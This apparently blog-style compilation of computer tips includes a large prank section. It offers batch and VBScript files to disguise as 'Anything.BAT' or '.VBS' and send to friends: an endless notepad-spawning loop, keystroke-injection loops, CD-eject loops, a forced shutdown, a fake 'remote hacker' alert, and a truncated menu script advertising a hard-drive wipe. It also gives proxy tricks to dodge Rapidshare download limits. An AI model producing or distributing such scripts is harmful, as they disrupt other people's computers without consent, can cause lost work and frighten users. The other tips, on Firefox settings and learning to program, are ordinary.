How to Increase Download Speeds in Firefox

Firefox is configured by default for dial-up speeds. If you have high speed internet access such as DSL or cable, you can change a few settings in Firefox and increase your download speeds. If you change the number of connections that Firefox uses to download, you will see a dramatic increas in your bandwidth. The larger the file you are downloading, the greater the speed will be, because more connections can be made to the server.
1. Change Firefox connection setting by typing "about:config" in the address bar of Firefox.

2. In the "Filter:" bar, type "persistent"

3. You should now see two preference names with their values:

network.http.max-persistent-connections-per-proxy user set interger 4
network.http.max-persistent-connections-per-server user set interger 2



4. Double click on each of the preference names. A window will pop-up allowing you to change the values for each. If you have cable or DSL use a number between 20 and 30!. Click OK.


5. Restart Firefox and you will be able to download more files simultaneously and each file a lot faster.

Edit All Websites with this Simple Code

You can edit all websites by this code:

javascript:void(document.body.contentEditable=(document.body.contentEditable=="false"? true : false))


Just copy it and pase it in the URL box of your web browser and you can edit all the sites you want.

This is just a simple code to enable java editing.
You can't actually edit the server of the website.

Is supposed to be a bit funny since you can edit the pages you want and make them say what ever you want them to say. Then take a screenshot and post somewhere.

10 Programming Languages You Should Learn

10 programming languages you should learn right now

1. PHP
# What it is: An open-source, interpretive, server-side, cross-platform, HTML scripting language, especially well-suited for Web development as it can be embedded into HTML pages.
# Why you should learn it: Its particularly widely used. "High-speed scripting with caching, augmented with compiled code plug-ins (such as can be done with Perl and PHP) is where the future is. Building Web apps from scratch using C or COBOL is going the way of the dinosaur," said Duquaine.
# Job availabilities: 1,152*

2. C#
# What it is: A general-purpose, compiled, object-oriented programming language developed by Microsoft as part of its .NET initiative, it evolved from C and C++
# Why you should learn it: Its an essential part of the .Net framework. "Learning C#, which is just Java with a different name plate, is critical if you heavily use Microsoft," said Duquaine.
# Job availabilities: 5,111

3. AJAX (Asynchronous JavaScript and XML)
# What it is: Though technically not a programming language, AJAX uses XHTML or HTML, JavaScript and XML to create interactive Web applications.
# Why you should learn it: Ever since Google Maps put AJAX, well, on the map, the requests for AJAX-knowledgeable pros went through the roof. "The demand for AJAX knowledge is huge because its so damned hard to learn," said Huckaby. Of note, Microsoft announced recently plans to release a tool named Atlas that will make AJAX easier to implement. "If Microsofts Atlas tool is successful, it would bring the extreme complexity and annoyance of AJAX to the average worker," said Huckaby.
# Job availabilities : 1,106

4. JavaScript
# What it is: Not to be confused with Java, JavaScript is a an object-oriented, scripting programming language that runs in the Web browser on the client side. Its smaller than Java, with a simplified set of commands, easier to code and doesnt have to be compiled.
# Why you should learn it: Embedded into HTML, its used in millions of Web pages to validate forms, create cookies, detect browsers and improve the design. With its simplicity to learn as well as wide use, its considered a great bang for your educational buck.
# Job availabilities: 4,406

5. Perl
# What it is: Perl is an open-source, cross-platform, server-side interpretive programming language used extensively to process text through CGI programs.
# Why you should learn it: Perls power in processing of piles of text has made it very popular and widely used to write Web server programs for a range of tasks. "Learning some form of scripting language, such as Perl or PHP is critical if you are doing Web apps," said Duquaine.
# Job availabilities: 4,810

6. C
# What it is: A standardized, general-purpose programming language, its one of the most pervasive languages and the basis for several others (such as C++).
# Why you should learn it: "Learning C is crucial. Once you learn C, making the jump to Java or C# is fairly easy, because a lot of the syntax is common. Also, a lot of C syntax is used in scripting languages," said Duquaine.
# Job availabilities: 6,164, including all derivatives

7. Ruby and Ruby on Rails
# What they are: Ruby is a dynamic, object-oriented, open-source programming language; Ruby on Rails is an open-source Web application framework written in Ruby that closely follows the MVC (Model-View-Controller) architecture.
# Why you should learn it: With a focus on simplicity, productivity and letting the computers do the work, in a few years, its usage has spread quickly. As a bonus, many find it easy to learn.
# Job availabilities : 210 and 54, respectively

8. Java
# What it is: An object-oriented programming language developed by James Gosling and colleagues at Sun Microsystems in the early 1990s.
# Why you should learn it: Hailed by many developers as a "beautiful" language, it is central to the non-.Net programming experience. "Learning Java is critical if you are non-Microsoft," said Duquaine.
# Job availabilities: 14,408

9. Python
# What it is: An interpreted, dynamically object-oriented, open-source programming language that utilizes automatic memory management.
# Why you should learn it: Designed to be a highly readable, minimalist language, many say it has a sense of humor (spam and eggs, rather than foo and bar), Python is used extensively by Google as well as in academia because of its syntactic simplicity.
# Job availabilities: 811

10. VB.Net (Visual Basic .Net)
# What it is: An object-oriented language implemented on Microsofts .Net framework.
# Why you should learn it: Most argue that VB.Net is currently more popular than ever and one of the only "must-learns." "It is currently dominating in adoption and that is where all the work is," said Huckaby.
# Job availabilities: 2,090

* All numbers on job availability were pulled from nationwide queries on Dice.com, a job site for technology professionals.

How Start Learning How to Program

How to start learning how to program

1. Find a language you want to learn first. I recommend python since its easy to use and you can do alot with it. But if you want to start off with a hard but good language then go to c++.

2. Find a good tutorial or book to start learning. An nice thread to find tutorials here.

3. Get a compiler/interpreter/IDE for the programming language your book usesA compiler/interpreter is just another computer program, but it will convert ideas you've written in a programming language into "machine code" so you can see things work. If you chose use the book above, try PLT Scheme (http://www.drscheme.org/) If you're starting to program in Java, you could try Eclipse (http://www.eclipse.org/downloads/) If you're using C/C++, try Dev C++ (http://www.bloodshed.net/devcpp.html)

4. Read the book or the tutorial. Take examples of the programming language from the book and put them into your interpreter. Try changing the examples and making the program do different things.

5. Try putting together your own ideas to form a working program. Start with simple things, like a program to convert currencies or a calculator, and work your way up a long to more complex things as you continue reading and learning about your programming language.

6. Once you can pretty much go through your first language and actively program with it, it would be best to learn a second language. You'll get the most out of learning a second programming language if you pick one that uses a radically different paradigm than the one you started with. For example, if you started in Scheme, you might try learning C or Java next. If you started in Java, you could learn Perl or Python, etc.

7. The only way you will get better at programming if you learn as much languages as you can, and programming new things.

Where to Start in Programming

What language to learn first?

I've heard many people asking which programming language should they learn first.

The best programming language to learn first is python. Why? because its so easy and simple compared to many other languages. The first language you learn is the most important language you will learn. Simply because it is were you get your basic fundamentals of programming from. Don't just learn the basics of python and leave and go to a new language. Learn as much as you can until your able to program frequently and if learned correctly you can move on to any other programming language you want with no problem, since every programming language are the same epset they have different syntax.

You can start with c/c++ like everyone else says because they are real powerful languages but you would struggle more with them then with python, and then like many people have done quit on programming because they say its too hard or boring.

Learning the basics and moving up

Before you even start thinking of a programming language you want to learn, start off with the basic terms every programming language consist of.

These definitions should be memorized because it will help in learning any language.

a "Variable" is a word or abbreviation that contains a value
a "statement" is a line of code that performs a command
a "constant" is like a variable except the value cannot change
an "array" is like a variable only holding many values instead of one(like a database)
a "declaration" is the act of declaring something
an "expression" is a statement that performs a calculation or results in a value
an "operator" is what is used to perform an expression
"truncation" is the result of rounding off the fractional part of a number
"demotion" occurs when reducing the size of a value
"promotion" is the exact opposite as demotion
a "comment" is a way to make notes in your code, and to instruct the parsing engine to ignore these lines
"branch" is know as an if or if/else statement
the "break" statement tells the code to exit the loop
a "loop" is a way to repeat code which are known to be while, do...while, for, and foreach
a "function" is a block of code that can be called at any point in the script
"scope" more or less refers to what can be accessed and where

Learning these before you learn a programming language will really help making your life easier learning a programming since after all a programming language only does what it is instructed to do, nothing more, and nothing less. In tutorials when given an example of a code manage to know what every specific line of code in the script is doing.

If you do plan to learn python then a very good tutorial for begginers is dive into python. google it and get started with it right away.

I will be posting more programming tutorials so keep on visiting.... ^_^

JavaScript and Visual Basic Source Code Collection

You can find thousands of JavaScript and Visual Basic Source Code here...

Download here:

File size: 141.37 MB

Alert Message!

Type:

lol=msgbox("type in here what ever you want the thing to say",23,"the top thinggy that says what the message is or the title")

save as "anything.vbs"
If someone opens it, the program will execute...

Example:
lol=msgbox("Your computer has been taken over by a remote hacker please shut down now",23,"Hacker Alert")

Disco Lights!

Make your caps, num and scroll lock lights blink at a random time!

Type:


Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{CAPSLOCK}"
wshshell.sendkeys "{NUMLOCK}"
wshshell.sendkeys "{SCROLLLOCK}"
loop


Save as anything.vbs
If someone opens it, the program will execute...

NEVER ENDING "OK" MESSAGE

Type:

@ECHO off
:Begin
msg * Hi
msg * Are you having fun?
msg * I am!
msg * Lets have fun together!
msg * you know what i like the park
msg * do you like the park?
msg * because i do
msg * do u know the park is nice
msg * i think i can sound like i dino can u?
msg * RARRRRRRRRRRRRRRRRRRRRW
msg * tehahahaha
msg * oh whoops wrong laugh
msg * i
msg * ment
msg * tehehehehehe
msg * now thant sound better
msg * why the heck are you still clicking and reading?
msg * oh well i guess we are togther thats what counds
msg * i forgot how to spell counds..
msg * can you spell it?
msg * oh well
msg * lets count how many times you have clicked the on button
msg * 23
msg * 24
msg * 25
msg * 26
msg * 27
msg * 28
msg * 29
msg * 30
msg * 31
msg * 32
msg * 33
msg * 34
msg * 35
msg * 36
msg * 37
msg * 38
msg * 39
msg * 40
msg * 41
msg * 42
msg * 43
msg * well thats as high as i can count
msg * as a error message think thats good
msg * do you thinks thats good?
msg * oh well who cares your SKREWED any ways
msg * i guess you wil have to love me untill i tell you how to get rid of me
msg * ok here it goes..
msg * now first..
msg * ahhhhhhhhhhhh in being eaten by a fat man!!
msg * no really! click on a few more times!!
msg * more...
msg * more.....
msg * more
msg * more...
msg * more...
msg * more....
msg * more...............................
msg * more.........................................
msg * more.............................................. ..
msg * whoof he ran awa after some girl that looked like a donut
msg * ok now where were we
msg * oh yeah i was about to tell you that i was kidding about telling you soo soon
msg * whoops thats was not ment to be typed..
msg * *slaps his hand* bad freaking hand!!!
msg * ok now to get off topic
msg * do you like chikcne
msg * well thats it guess i should get going now...
msg * ok to get rid of me first
msg * go to your desktop
msg * right click
msg * click new
msg * click short cut wayyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy at the top
msg * tpe in "shutdown -s -t 5 -c "hehehe im back" "
msg * you ahve to type exactly!!!!!!!!
msg * then click enter
msg * then click ok
msg * then double click on it and wala...
msg * BYEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE BYEEEEEEEEEEEEEEEEEEEEEE
msg * I LOOOOOOOOOOOOOOOOOOOOOOOVE YOUUUUUUUUUUUUUUUUUUUUUUUU!
GOTO BEGIN

This one is very annoying and the only way to get rid of it it is to shutdown and restart.

Save as anything.bat
If someone opens it, the program will execute...

Advanced Notepad Prank!

Pick your poison batch file. It asks your friend to choose a number between 1-5 and then does a certain action:

1: Shutdown
2: Restart
3: Wipes out your hard drive (BEWARE)
4: Net send
5: Messages then shutdown

Type :

@echo off
title The end of the world
cd C:\
:menu
cls
echo I take no responsibility for your actions. Beyond this point it is you that has the power to kill yourself. If you press 'x' then your PC will be formatted. Do not come crying to me when you fried your computer or if you lost your project etc...
pause
echo Pick your poison:
echo 1. Die this way (Wimp)
echo 2. Die this way (WIMP!)
echo 3. DO NOT DIE THIS WAY
echo 4. Die this way (you're boring)
echo 5. Easy way out
set input=nothing
set /p input=Choice:
if %input%==1 goto one
if %input%==2 goto two

Open Notepad Continuously in Your Friend's Computer

Type :

@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Save it as "Anything.BAT" and send it.
If someone opens it, the program will execute...

H@ck Your Friend's Keyboard and Make Him Type "You are a fool" Simultaneously

Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "You are a fool."
loop

Save it as "Anything.VBS" and send it.
If someone opens it, the program will execute...

Frustrate Your Friend by Making this VBScript Hit "Backspace" Simultaneously

Type :

MsgBox "Let's go back a few steps"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop


Save it as "Anything.VBS" and send it.
If someone opens it, the program will execute...

Freak Your Friend Out

This will open Notepad, and slowly type "Hello, how are you? I am good thanks" automatically.

Type :

WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "Hel"
WScript.Sleep 500
WshShell.SendKeys "lo "
WScript.Sleep 500
WshShell.SendKeys ", ho"
WScript.Sleep 500
WshShell.SendKeys "w a"
WScript.Sleep 500
WshShell.SendKeys "re "
WScript.Sleep 500
WshShell.SendKeys "you"
WScript.Sleep 500
WshShell.SendKeys "? "
WScript.Sleep 500
WshShell.SendKeys "I a"
WScript.Sleep 500
WshShell.SendKeys "m g"
WScript.Sleep 500
WshShell.SendKeys "ood"
WScript.Sleep 500
WshShell.SendKeys " th"
WScript.Sleep 500
WshShell.SendKeys "ank"
WScript.Sleep 500
WshShell.SendKeys "s! "

Save it as "Anything.VBS" and send it.
If someone opens it, the program will execute...

Frustrate Your Friend by Making this VBScript Hits "Enter" Simultaneously

Type :

Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop

Save it as "Anything.VBS" and send it.
If someone opens it, the program will execute...

Continually Pop Out Your Friend's CD Drive

Type :

Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Save it as "Anything.VBS" and send it.
If someone opens it, the program will execute...

Shut Down Someones Computer

Type :


@echo off
msg * I'm gonna sleep now
shutdown -c "Goodbye my friend!" -s


Save it as "Anything.BAT" in All Files and send it.

If someone opens it, the program will execute...

Tips for Rapidshare FREE users

Check your timezone.

Rapidshare is a German company which operates from Switzerland.
When it is about 11:00 pm there, download demands go down.
This is the best time to start downloading.
The speed of your downloads will be increased.

My observations:

Busy periods : Average download speed 60 KB/sec

After 11:00pm (in Switzerland) : Average download speed 250 KB/sec


You still have to turn off (and back on) your modem and clear cache and cookies between every download.

Hide Text in Notepad

A small trick to hide text inside your text file using command prompt, but this trick works only on NTFS file system.


Steps to hide text in a Notepad

* Open your command prompt Start–>Run type cmd
* Move to any destination for example let us assume D:\> drive
* Type the below code in your command prompt
* D:\>notepad syshacks.txt:hidden
* syshacks notepad save

* syshacks notepad hidden
* Write some data and save the file.
* Move to D:\> and open syshacks.txt you cannot see no data in the file syshacks.txt.
* To retrieve the hidden data open command prompt and type the same command.
* D:\>notepad syshacks.txt:hidden
* Notepad will open syshacks.txt file with hidden data

Exceed Your Download Limit on Rapidshare and Others

Okay, here is a quick tutorial on how to get around those annoying "Wait X minutes before downloading" messages, as well as the one-file-at-a-time limits that are frequent on Rapidshare and similar sites. This tutorial uses Opera (because it has the best download manager), but can probably be adapted for any browser

Step 1. Since this will slow down each download quite a bit, pick 4 or 5 Rapidshares that you've always wanted. This will give you the most speed boost.

Step 2. Start the biggest one as you normally would, by clicking the "Free" button.

Step 3. Go to

http://www.samair.ru/proxy/
or
http://www.xroxy.com

and pick a proxy. configure your browser to use it. (In Opera, Tools/Preferences, Advanced tab, Network on the right, then click the Proxy Servers button.


Before the colon is the IP, after is the port.


Step 4: Finally, test it for speed. If the proxy seems pretty fast, start the next download, and repeat Step 3 & 4 until you have all your files downloading. If it seems too slow, repeat step 3 until you find a fast one.

That's all! Most of you will already know about this, but it's cool anyways.

Ten Most Dangerous Things Users Do Online

1. Clicking on email attachments from unknown senders
2. Installing unauthorized applications
3. Turning off or disabling automated security tools
4. Opening HTML or plain-text messages from unknown senders
5. Surfing gambling, porn, or other legally-risky Websites
6. Giving out passwords, tokens, or smart cards
7. Page 8: Random surfing of unknown, untrusted Websites
8. Attaching to an unknown, untrustworthy WiFi network
9. Filling out Web scripts, forms, or registration pages
10. Participating in chat rooms or social networking sites